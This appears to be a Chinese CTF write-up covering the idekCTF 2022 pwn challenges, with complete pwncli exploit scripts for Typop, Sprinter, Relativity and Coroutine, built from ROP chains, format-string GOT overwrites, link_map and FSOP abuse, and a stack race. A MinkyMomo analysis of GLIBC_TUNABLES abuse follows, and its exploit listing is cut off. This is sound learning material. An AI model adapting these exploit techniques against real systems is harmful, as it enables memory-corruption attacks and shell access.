2022-idekCTF-all-pwn-wp

记录2022-idekctf所有的pwn题的wp

附件下载

点击这里下载题目附件。

1-Typop

题目描述如下:

image-20230115141121510

简单题,直接放exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# nc typop.chal.idek.team 1337
# idek{2_guess_typos_do_matter}

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def f1(data):
    sla("Do you want to complete a survey?\n", "y")
    sa("Do you like ctf?\n", data)
    ru("You said: ")
    m = rl()
    return m

def f2(data):
    sa("Can you provide some extra feedback?\n", data)
    return m

m = f1("a"*11)

canary = u64_ex(m[11:11+7]) << 8
stack_addr = u64_ex(m[-7:-1])

leak("canary", canary)
leak("stack addr", stack_addr)

f2("\x00"*11)

# leak pie address
m = f1("a"*0x1a)
codeaddr = u64_ex(m[-7:-1])
leak("code addr", codeaddr)

codebase = codeaddr - elf.sym.main - 55
set_current_code_base_and_log(codebase)

CurrentGadgets.set_find_area(1, 0)

f2(flat([
    "a"*10,
    canary,
    stack_addr,
    CurrentGadgets.pop_rdi_ret(),
    elf.got.read,
    elf.plt.puts,
    elf.sym.getFeedback
]))

libcbase = recv_current_libc_addr(libc.sym.read)
set_current_libc_base_and_log(libcbase)

sa("Do you like ctf?\n", "y")

CurrentGadgets.set_find_area(1, 1)

f2(flat([
    "a"*10,
    canary,
    stack_addr,
    CurrentGadgets.pop_rdi_ret(),
    CurrentGadgets.bin_sh(),
    CurrentGadgets.ret(),
    libc.sym.system
]))

sleep(0.5)
sl("cat flag*")

ia()

2-Sprinter

题目描述如下:

image-20230115141256461

题目分析

漏洞很简单,给了栈地址,然后是一个裸的sprintf,不过此时的buffmt都指向同一块内存。

image-20230115141500901

对输入做了限制:

  • 不能包含n字符
  • strlen(s)必须小于等于 0x26

解题思路

sprintf函数原型为:int sprintf(char *buf, const char *fmt, ...);

这题考察的sprintf其实和printf没啥太大区别,只要稍微分析过sprintf源码就能很快解出此题。

sprintf/printf最后都会调用到__vfprintf_internal,其第一个参数是FILE *fp文件指针,只不过sprintffp是在栈上构造出来的,而printffp指向stdout结构体。

在输出字符串的时候,会调用到_IO_default_xsputn,而在构造fp的时候,fp->_IO_write_basefp->_IO_write_ptr会指向buf,由于此时fmtbuf指向的是同一片内存区域,sprintf在调用的时候一边解析一边存储字符串,因此在执行_IO_default_xsputn的时候,会发生内存重叠,从而会有一些很看似很奇怪但是读了源码就能明白的行为。

比如:buf = "a%s\x00"的时候,sprintf(buf, buf)会输出aaaaa,一共5a。为什么会输出5个?

  • 第一次调用_IO_default_xsputn(fp, buf, 1),因为字符串一开始是a,为了输出这个afp,调用后fp->_IO_write_ptr会指向buf+1

  • 第二次调用_IO_default_xsputn(fp, buf, 3),因此此时解析到了%s,那么就计算strlen(buf)3,也就是第三个参数。此时,首先有个mempcpy (f->_IO_write_ptr, buf, 3),然后有一个循环,结束后buf变为了aaaa

  • 由于此时buf变成了aaaafmt也变成了aaaa,此时解析的idx(从0开始)偏移到了2,然后会继续解析,就会第四次调用_IO_default_xsputn(fp, buf, 1),这里是输出aaaa的最后一个a,于是在buf后面再加上一个abuf就变成了aaaaa

只要理解到sprintf(buf, fmt, ...),是一边解析到fmt的字符串,一边将解析的内容填充到buf指向的内存,就可以很好的构造字符串,然后调用到%n,从而往已知地址写内容。

理解了sprintf的行为,那么输入buf = b"ab%s\x00\x00\x00\x00%7$n\x00\x00\x00\x00" + p64(0xdeadbeef),既可以绕过检查,还能往0xdeadbeef的内存改写为8。调试截图如下:

image-20230115145038059

结合前面泄露的栈地址,题目的got表可写,我的思路为:

  • 修改rbp0x404128
  • 修改ret0x401214,这样可以调用fgets0x404018处写内容,而这里是got表区域
  • strchr@got0x401060,这样就会调用printf,用于输出libc地址
  • __stack_chk_fail@got0x40122f,继续调用fgets0x404018处写
  • 此时可以写strchr@gotsystem地址,调用system("/bin/sh")

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# nc sprinter.chal.idek.team 1337
# idek{help!_sprintf_ate_my_payload_and_i_cant_get_it_back!}

from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

ru("Enter your string into my buffer, located at ")
m = ru(":")

stackaddr = int16_ex(m[:-1])
leak("stack addr", stackaddr)

s(flat_z({
    0: f"ABCDEF%s",
    0x14: [
        "%36$hhn",
        "a"*0x14,
        "%35$ln",
        "a"*(0x40-0x28),
        "%33$n",
        "a", # 0x41
        "%34$hhn"
           ],
    0xe0: stackaddr + 0x110 + 2,
    0xe8: stackaddr + 0x110+1,
    0xf0: stackaddr + 0x110,
    0xf8: p64(stackaddr + 0x118)[:7], # 36
    }, length=0xff))


sla("Enter your string into my buffer", flat({
    0: "%3$p\x00",
    8: 0x40122f,
    0x10: 0x401060
}))

ru("0x7f")
m = rn(10)
libcaddr = int16_ex(b"0x7f" + m)
leak("libc addr", libcaddr)
set_current_libc_base_and_log(libcaddr, 0x10dfd2)

sl(flat_z({
    0: "/bin/sh\x00",
    0x10: libc.sym.system+27
}))

sleep(0.5)

sl("cat flag*")

ia()

3-Relativity

题目描述如下:

image-20230115145521672

题目分析

image-20230115145619346

got表可写,一次格式化字符串攻击的机会。

image-20230115145701196

一次机会,打哪里呢,答案是linkmapl_addr

解题思路

这题和之前很有名的unprintable有点像,或者搞清楚了ret2dl_resolve/house of banana的很快能理解思路。

linkmap->l_addr指向obj装载的基地址,对于开启了PIE的程序,在dl_runtime_reslove解析符号地址的之后,会把解析到addr写入到elf_linkmap->l_addr + xxx@got处。

观察下got表的分布,_Exitfree的下方。

在调用free的时候,会解析free的地址。因此,只需要把elf_linkmap->l_addr增加0x38,就能把free的实际地址写入到_Exit@got

image-20230115150617874

接着vuln函数会返回,而恰好这个函数挨着main,所以会直接继续执行main函数,这样就能无限循环。

image-20230115150125565

栈的分布如下,修改红框的地方即可。

image-20230115150755452

之后借助栈上的链,往任意地址写任意值即可。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# nc relativity.chal.idek.team 1337
# idek{printf_is_very_powerful_but_the_got_is_even_more_powerful}

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

payload = f"%{0x38}c%30$hhn"
payload += "deadbeef%8$p,%9$p,%11$p,cafebeef"

sla("void? \n", payload)

ru("deadbeef")
m = ru("cafebeef").split(b",")

stackaddr = int16_ex(m[0])
codeaddr = int16_ex(m[1])
libcaddr = int16_ex(m[2])

leak("stack addr", stackaddr)
leak("code addr", codeaddr)
leak("libc addr", libcaddr)
set_current_libc_base_and_log(libcaddr, 0x24083)
codebase = codeaddr - 0x135c
set_current_code_base_and_log(codebase)

sla("void? \n", f"%{(stackaddr-0x8) & 0xffff}c%19$hn")

sla("void? \n", f"%{elf.got.setvbuf & 0xffff}c%53$hn")

sla("void? \n", f"%{libc.sym.gets & 0xffff}c%27$hn")

fp = IO_FILE_plus_struct()
data = fp.house_of_apple2_execmd_when_do_IO_operation(
    standard_FILE_addr=libc.sym._IO_2_1_stdout_,
    _IO_wfile_jumps_addr=libc.sym._IO_wfile_jumps-0x20,
    system_addr=libc.sym.system
)

sl(data)

s("\n")
sleep(0.5)

sl("cat flag*")

ia()

4-weep

题目描述如下:

image-20230115151553172

2024-01-16 记:忘记复现了。

5-Sofire=good

题目描述如下:

image-20230115151655399

2024-01-16 记:忘记复现了。

6-Coroutine

题目描述如下:

image-20230115151918586

相关知识

考察的是c++协程,所以先阅读一下协程的几篇文章。

读完之后,对C++的协程有一个基本的概念。其实之前学习python的时候,也学过协程,一个经典的例子就是生产者-消费者模式。一个用于生产数据,一个消费者用于消费数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#-*- coding:utf8 -*-
def consumer():
    r = ''
    while True:
        n = yield r
        if not n:
            return
        print('[CONSUMER]Consuming %s...' % n)
        r = '200 OK'

def producer(c):
    # 启动生成器
    c.send(None)
    n = 0
    while n < 5:
        n = n + 1
        print('[PRODUCER]Producing %s...' % n)
        r = c.send(n)
        print('[PRODUCER]Consumer return: %s' % r)
    c.close()

if __name__ == '__main__':
    c = consumer()
    producer(c)

最后程序的输出是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[PRODUCER]Producing 1...
[CONSUMER]Consuming 1...
[PRODUCER]Consumer return: 200 OK
[PRODUCER]Producing 2...
[CONSUMER]Consuming 2...
[PRODUCER]Consumer return: 200 OK
[PRODUCER]Producing 3...
[CONSUMER]Consuming 3...
[PRODUCER]Consumer return: 200 OK
[PRODUCER]Producing 4...
[CONSUMER]Consuming 4...
[PRODUCER]Consumer return: 200 OK
[PRODUCER]Producing 5...
[CONSUMER]Consuming 5...
[PRODUCER]Consumer return: 200 OK

可以发现,程序在两个函数之间交替执行,而执行的线程只有一个。

那么,假设发送数据后,需要执行比较耗时的IO操作,需要等待对方响应,那么,此时就可以直接将消费者的处理逻辑挂起,继续生产数据,等待消费者获取到响应之后,再继续处理数据,这样就能提高程序的执行效率,不会让程序一直处于阻塞中。

而对于C++协程,阅读了以上博客之后,搞清楚这个程序即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

#include <coroutine>
#include <iostream>
#include <thread>
 
namespace Coroutine {
  struct task {
    struct promise_type {
      promise_type() {
        std::cout << "1.create promie object\n";
      }
      task get_return_object() {
        std::cout << "2.create coroutine return object, and the coroutine is created now\n";
        return {std::coroutine_handle<task::promise_type>::from_promise(*this)};
      }
      std::suspend_never initial_suspend() {
        std::cout << "3.do you want to susupend the current coroutine?\n";
        std::cout << "4.don't suspend because return std::suspend_never, so continue to execute coroutine body\n";
        return {};
      }
      std::suspend_never final_suspend() noexcept {
        std::cout << "13.coroutine body finished, do you want to susupend the current coroutine?\n";
        std::cout << "14.don't suspend because return std::suspend_never, and the continue will be automatically destroyed, bye\n";
        return {};
      }
      void return_void() {
        std::cout << "12.coroutine don't return value, so return_void is called\n";
      }
      void unhandled_exception() {}
    };
 
    std::coroutine_handle<task::promise_type> handle_;
  };
 
  struct awaiter {
    bool await_ready() {
      std::cout << "6.do you want to suspend current coroutine?\n";
      std::cout << "7.yes, suspend becase awaiter.await_ready() return false\n";
      return false;
    }
    void await_suspend(
      std::coroutine_handle<task::promise_type> handle) {
      std::cout << "8.execute awaiter.await_suspend()\n";
      std::thread([handle]() mutable { handle(); }).detach();
      std::cout << "9.a new thread lauched, and will return back to caller\n";
    }
    void await_resume() {}
  };
 
  task test() {
    std::cout << "5.begin to execute coroutine body, the thread id=" << std::this_thread::get_id() << "\n";//#1
    co_await awaiter{};
    std::cout << "11.coroutine resumed, continue execcute coroutine body now, the thread id=" << std::this_thread::get_id() << "\n";//#3
  }
}// namespace Coroutine
 
int main() {
  Coroutine::test();
  std::cout << "10.come back to caller becuase of co_await awaiter\n";
  std::this_thread::sleep_for(std::chrono::seconds(1));
 
  return 0;
}

题目分析

题目给了源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
#include <iostream>
#include <coroutine>
#include <span>
#include <optional>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <cassert>
#include <vector>


void load_flag()
{
    char flag[400];
    FILE* fp = fopen("flag", "rt");
    fscanf(fp, "%s", flag);
    fclose(fp);
}

struct io_context
{
    struct entry
    {
        int fd;
        std::coroutine_handle<> coroutine;
    };
    std::vector<entry> reads_;
    std::vector<entry> writes_;

    void run_until_done()
    {
        while (!reads_.empty() || !writes_.empty())
        {
            load_flag();

            fd_set readfds;
            FD_ZERO(&readfds);

            fd_set writefds;
            FD_ZERO(&writefds);

            fd_set exceptfds;
            FD_ZERO(&exceptfds);

            int maxfd = 0;
            for (auto& read : reads_)
            {
                maxfd = std::max(maxfd, read.fd);
                FD_SET(read.fd, &readfds);
                FD_SET(read.fd, &exceptfds);
            }

            for (auto& write : writes_)
            {
                maxfd = std::max(maxfd, write.fd);
                FD_SET(write.fd, &writefds);
                FD_SET(write.fd, &exceptfds);
            }

            int donefds = ::select(maxfd + 1, &readfds, &writefds, &exceptfds, /*timeout*/nullptr);
            if (donefds == -1)
            {
                std::cerr << "Error performing select() errno: " << errno << '\n';
                return;
            }

            // Take a copy as this may change
            auto reads = reads_;
            auto writes = writes_;

            for (auto & read : reads)
            {
                if (FD_ISSET(read.fd, &readfds) || FD_ISSET(read.fd, &exceptfds))
                {
                    auto coroutine = std::move(read.coroutine);
                    reads_.erase(std::remove_if(reads_.begin(), reads_.end(), [fd = read.fd](auto& item) { return item.fd == fd; }));
                    coroutine.resume();
                    continue;
                }
            }

            for (auto& write : writes)
            {
                if (FD_ISSET(write.fd, &writefds) || FD_ISSET(write.fd, &exceptfds))
                {
                    auto coroutine = std::move(write.coroutine);
                    writes_.erase(std::remove_if(writes_.begin(), writes_.end(), [fd = write.fd](auto& item) { return item.fd == fd; }));
                    coroutine.resume();
                    continue;
                }
            }
        }
    }

    void add_read(int fd, std::coroutine_handle<> coroutine)
    {
#ifdef _DEBUG
        for (auto& read : reads_)
        {
            assert(read.fd != fd);
        }
#endif
        reads_.push_back({ fd, std::move(coroutine) });
    }


    void add_write(int fd, std::coroutine_handle<> coroutine)
    {
#ifdef _DEBUG
        for (auto& write: writes_)
        {
            assert(write.fd != fd);
        }
#endif
        writes_.push_back({ fd, std::move(coroutine) });
    }

    void cancel(int fd)
    {
        auto rit = reads_.begin();
        while (rit != reads_.end())
        {
            if (rit->fd == fd)
            {
                reads_.erase(rit);
                break;
            }
        }

        auto wit = writes_.begin();
        while (wit != writes_.end())
        {
            if (wit->fd == fd)
            {
                writes_.erase(wit);
                break;
            }
        }
    }
};


template<typename Result>
class Task {
public:
    struct promise_type {
        std::optional<Result> result_;

        Task get_return_object() {
            return Task{ this };
        }

        void unhandled_exception() noexcept {}

        void return_value(Result result) noexcept { result_ = std::move(result); }
        std::suspend_never initial_suspend() { return {}; }

        struct FinalAwaiter {
            constexpr bool await_ready() noexcept { return false; }

            std::coroutine_handle<>
                await_suspend(std::coroutine_handle<promise_type> coroutine) noexcept {
                auto& promise = coroutine.promise();
                return promise.continuation_ != nullptr ? promise.continuation_ : std::noop_coroutine();
            }

            // nothing to do, the coroutine will no longer be executed
            void await_resume() noexcept { }
        };

        FinalAwaiter final_suspend() noexcept { return {}; }

        void set_continuation(std::coroutine_handle<> continuation) {
            continuation_ = continuation;
        }

        std::coroutine_handle<> continuation_;
    };

    explicit Task(promise_type* promise)
        : handle_{ HandleT::from_promise(*promise) } {}
    Task(Task&& other) : handle_{ std::exchange(other.handle_, nullptr) } { }

    ~Task() {
        if (handle_) {
            handle_.destroy();
        }
    }

    Task & operator=(const Task&) = delete;

    auto operator co_await() {
        struct Awaiter {
            std::coroutine_handle<promise_type> this_handle;

            constexpr bool await_ready() {
                assert(this_handle);
                return this_handle.done();
            }

            void await_suspend(std::coroutine_handle<> awaiting_coroutine) {
                this_handle.promise().set_continuation(awaiting_coroutine);
            }

            Result await_resume() {
                return *this_handle.promise().result_;
            }
        };

        return Awaiter{ handle_ };
    }

    using HandleT = std::coroutine_handle<promise_type>;
    HandleT handle_;
};


struct NonCopyable
{
    NonCopyable() = default;
    NonCopyable(const NonCopyable&) = delete;
    NonCopyable& operator=(const NonCopyable&) = delete;
};


int MakeNonBlocking(int fd)
{
    int flags = fcntl(fd, F_GETFL, 0);
    flags |= O_NONBLOCK;
    return fcntl(fd, F_SETFL, flags);
}


class RecvAsync : NonCopyable {
public:
    RecvAsync(io_context& ctx, int fd, std::span<std::byte> buffer) : NonCopyable(),
        ctx_{ ctx },
        fd_{ fd },
        buffer_{ buffer }
    {
    }

    auto operator co_await() {
        struct Awaiter {
            io_context& ctx_;
            int fd_;
            std::optional<int> result_;
            std::span<std::byte> buffer_;

            Awaiter(io_context& ctx, int fd, std::span<std::byte> buffer) :
                ctx_{ ctx }, fd_{ fd }, buffer_{ buffer } {
            }

            bool await_ready() {
                int result = ::recv(fd_, buffer_.data(), buffer_.size(), 0);
                if (result == -1 && (errno == EAGAIN || errno == EWOULDBLOCK) )
                {
                    return false;
                }

                result_ = result;
                return true;
            }
            void await_suspend(std::coroutine_handle<> handle) noexcept {
                ctx_.add_read(fd_, std::move(handle));
            }
            int await_resume() {
                if (result_.has_value())
                {
                    return result_.value();
                }

                int result = ::recv(fd_, buffer_.data(), buffer_.size(), 0);
                if (result == -1)
                {
                    assert(errno != EAGAIN && errno != EWOULDBLOCK);
                }

                return result;
            }
        };
        return Awaiter{ ctx_, fd_, buffer_ };
    }

private:
    io_context& ctx_;
    int fd_;
    std::span<std::byte> buffer_;
};




class SendAsync : NonCopyable {
public:
    SendAsync(io_context& ctx, int fd, std::span<std::byte> buffer) : NonCopyable(),
        ctx_{ ctx },
        fd_{ fd },
        buffer_{ buffer }
    {
    }

    auto operator co_await() {
        struct Awaiter {
            io_context& ctx_;
            int fd_;
            std::optional<int> result_;
            std::span<std::byte> buffer_;

            Awaiter(io_context& ctx, int fd, std::span<std::byte> buffer) :
                ctx_{ ctx }, fd_{ fd }, buffer_{ buffer } {
            }

            bool await_ready() {
                int result = ::send(fd_, buffer_.data(), buffer_.size(), 0);
                if (result == -1 && (errno == EAGAIN || errno == EWOULDBLOCK))
                {
                    return false;
                }

                result_ = result;
                return true;
            }
            void await_suspend(std::coroutine_handle<> handle) noexcept {
                ctx_.add_write(fd_, std::move(handle));
            }

            int await_resume() {
                if (result_.has_value())
                {
                    return result_.value();
                }

                int result = ::send(fd_, buffer_.data(), buffer_.size(), 0);
                if (result == -1)
                {
                    assert(errno != EAGAIN && errno != EWOULDBLOCK);
                }

                return result;
            }
        };
        return Awaiter{ ctx_, fd_, buffer_ };
    }

private:
    io_context& ctx_;
    int fd_;
    std::span<std::byte> buffer_;
};

Task<bool> SendAllAsync(io_context& ctx, int socket, std::span<std::byte> buffer)
{
    int offset = 0;
    while (offset < buffer.size())
    {
        int result = co_await SendAsync(ctx, socket, std::span(buffer.data() + offset, buffer.size() - offset));
        if (result == -1)
        {
            co_return false;
        }

        offset += result;
    }
    co_return true;
}

Task<bool> SendAllAsyncNewline(io_context& ctx, int socket, std::span<std::byte> buffer)
{
    std::byte buffer2[513];
    std::copy(buffer.begin(), buffer.end(), buffer2);
    buffer2[buffer.size()] = (std::byte)'\n';
    return SendAllAsync(ctx, socket, std::span(buffer2, buffer.size()+1));
}

Task<bool> client_loop(io_context& ctx, int socket)
{
    while (true)
    {
        std::byte buffer[512];
        int recved = co_await RecvAsync(ctx, socket, buffer);
        if (recved == 0)
        {
            std::cout << "Disconnected\n";
            co_return true;
        }
        if (recved == -1)
        {
            std::cout << "Could not receive\n";
            co_return false;
        }
        
        bool send_result = co_await SendAllAsyncNewline(ctx, socket, std::span(buffer, recved));
        if (!send_result)
        {
            std::cout << "Could not send: " << errno << "\n";
            co_return false;
        }
    }
}

Task<bool> server(io_context & ctx)
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    assert(sock != -1);


    int listen_result = listen(sock, 1);
    assert(listen_result != -1);

    struct sockaddr_in sin;
    socklen_t len = sizeof(sin);
    int getsockname_result = ::getsockname(sock, (sockaddr*)&sin, &len);
    assert(getsockname_result != -1);
    std::cout << "port number " << ntohs(sin.sin_port) << "\n";


    int client_size;
    struct sockaddr_in client_addr;
    socklen_t client_addr_size = sizeof(client_addr);

    int accept_result = accept(sock, (sockaddr*)&client_addr, &client_addr_size);
    assert(accept_result != -1);

    MakeNonBlocking(accept_result);

    int sendbuff = 128;
    setsockopt(accept_result, SOL_SOCKET, SO_SNDBUF, &sendbuff, sizeof(sendbuff)); // sendbuf 128

    co_await client_loop(ctx, accept_result);

    co_return true;
}


int main(int argc, char* argv[])
{
    setbuf(stdout, nullptr);

    io_context ctx;

    auto s = server(ctx);

    ctx.run_until_done();

    return EXIT_SUCCESS;
}

总体流程为:

  • 随机监听一个端口
  • 接收数据
  • 把接收的数据加个换行符打印出来

使用协程实现上述流程,并且接收数据和打印数据的缓冲区都在栈上,且都没有初始化。

解题思路

数据缓冲区都在栈上,其中load_flag和下面的SendAllAsyncNewline使用的区域有重叠部分。

因此,只要创造出条件竞争,就可以把flag打印出来。

以下两个函数就是进行条件竞争的核心函数。如果在SendAllAsync某次循环的返回值为-1,那么协程就会被挂起,之后buffer的数据会被flag和栈上的其他数据给填充。而当协程恢复的时候,就会把flag发送出去。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Task<bool> SendAllAsync(io_context& ctx, int socket, std::span<std::byte> buffer)
{
    int offset = 0;
    while (offset < buffer.size())
    {
        int result = co_await SendAsync(ctx, socket, std::span(buffer.data() + offset, buffer.size() - offset));
        if (result == -1)
        {
            co_return false;
        }

        offset += result;
    }
    co_return true;
}

Task<bool> SendAllAsyncNewline(io_context& ctx, int socket, std::span<std::byte> buffer)
{
    std::byte buffer2[513];
    std::copy(buffer.begin(), buffer.end(), buffer2);
    buffer2[buffer.size()] = (std::byte)'\n';
    return SendAllAsync(ctx, socket, std::span(buffer2, buffer.size()+1));
}

因此,解题思路为:

  • 设置proxy的接收缓冲区为一个很小的值
  • 给程序发送大量数据
  • 尝试连续接收大量数据即可获得flag(由于设置了proxyrecv buffer size,在某次发送给proxy的时候协程会挂起并加载flag

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# nc coroutine.chal.idek.team 1337

from pwncli import *
cli_script()

# Set receive buffer
sla(b'> ', b'2')
sla(b'Buffer size> ', b'8')

# Connect
sla(b'> ', b'1')

# Send 4096
for _ in range(8):
    sla(b'> ', b'4')
    sla(b'Data> ', b'A' * 512)

# Recv flag
while True:
    sla(b'> ', b'5')
    sla(b'Size> ', b'4096')
    m = r(timeout=1)
    if b"idek" in m:
        idx = m.find(b"idek")
        log_ex(m[idx:idx+0x20])
        break

ia()

image-20230119164759683

7-MinkyMomo

题目描述如下:

image-20230115152005894

题目分析

漏洞点一个是double free;一个是gets的栈溢出。

image-20230116175238642

由于题目的限制,无法仅仅使用堆利用来打通本题。注意到第四个分支:

image-20230116175408364

这里实际上等同于execve("./minkymomo", 0, _environ)

解题思路

看似是个堆题,其实考察的是环境变量的利用方法。只要读了以下的三篇博客,就能理解本题的解题方法。

我们知道,环境变量列表都位于栈上。而堆的利用又行不通,就只能从getsexecv上来做文章。因此,本题的解题思路呼之欲出:

  • 泄露堆地址
  • 在堆上准备好环境变量
  • 把环境变量地址替换为堆地址,伪造环境变量
  • 进行下一步的攻击利用

关键是伪造什么环境变量呢?答案在ptmalloc_init函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void
ptmalloc_init (void)
{
...

#if HAVE_TUNABLES
  TUNABLE_GET (top_pad, size_t, TUNABLE_CALLBACK (set_top_pad));
  TUNABLE_GET (perturb, int32_t, TUNABLE_CALLBACK (set_perturb_byte));
  TUNABLE_GET (mmap_threshold, size_t, TUNABLE_CALLBACK (set_mmap_threshold));
  TUNABLE_GET (trim_threshold, size_t, TUNABLE_CALLBACK (set_trim_threshold));
  TUNABLE_GET (mmap_max, int32_t, TUNABLE_CALLBACK (set_mmaps_max));
  TUNABLE_GET (arena_max, size_t, TUNABLE_CALLBACK (set_arena_max));
  TUNABLE_GET (arena_test, size_t, TUNABLE_CALLBACK (set_arena_test));
# if USE_TCACHE
  TUNABLE_GET (tcache_max, size_t, TUNABLE_CALLBACK (set_tcache_max));
  TUNABLE_GET (tcache_count, size_t, TUNABLE_CALLBACK (set_tcache_count));
  TUNABLE_GET (tcache_unsorted_limit, size_t,
	       TUNABLE_CALLBACK (set_tcache_unsorted_limit));
# endif
  TUNABLE_GET (mxfast, size_t, TUNABLE_CALLBACK (set_mxfast));
  TUNABLE_GET (hugetlb, size_t, TUNABLE_CALLBACK (set_hugetlb));
  if (mp_.hp_pagesize > 0)
    /* Force mmap for main arena instead of sbrk, so hugepages are explicitly
       used.  */
    __always_fail_morecore = true;
#else
  ...
}

堆进行初始化的时候,会调用__tunable_get_val设置一些很关键的参数,包括有:top_pad、mmap_threshold、mmaps_max、mxfast、tcache_max等等。

这个其实是GLIBC特有的,在elf\dl-tunables.c有个函数__tunables_init,会在链接的时候就处理环境变量:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Initialize the tunables list from the environment.  For now we only use the
   ENV_ALIAS to find values.  Later we will also use the tunable names to find
   values.  */
void
__tunables_init (char **envp)
{
  char *envname = NULL;
  char *envval = NULL;
  size_t len = 0;
  char **prev_envp = envp;

  maybe_enable_malloc_check ();

  while ((envp = get_next_env (envp, &envname, &len, &envval,
			       &prev_envp)) != NULL)
    {
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
      if (tunable_is_name (GLIBC_TUNABLES, envname))
	{
	  char *new_env = tunables_strdup (envname);
	  if (new_env != NULL)
	    parse_tunables (new_env + len + 1, envval);
	  /* Put in the updated envval.  */
	  *prev_envp = new_env;
	  continue;
	}
      ......
  }
}

# define GLIBC_TUNABLES "GLIBC_TUNABLES"

因此,只要设置了GLIBC_TUNABLES=glibc.malloc.tcache_count=2这样的环境变量,就可以控制mp_.tcache_bins2,就可以利用tcache reverse to fastbin attack而分配到任意地址。

另外,设置环境变量LD_SHOW_AUXV后会泄露出栈地址、加载基地址、ld基地址等等。不使用这个环境变量,也可以设置global_max_fast的值,进而得到unsorted bin来得到glibc地址。

因此,只需要修改了环境变量后,call execv一次就能完成利用。

第二次的时候可以攻击libc.got,修改strlen@gotadd rsp, xxx,提前使用gets在栈上布置好rop链,执行system("/bin/sh")即可。

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
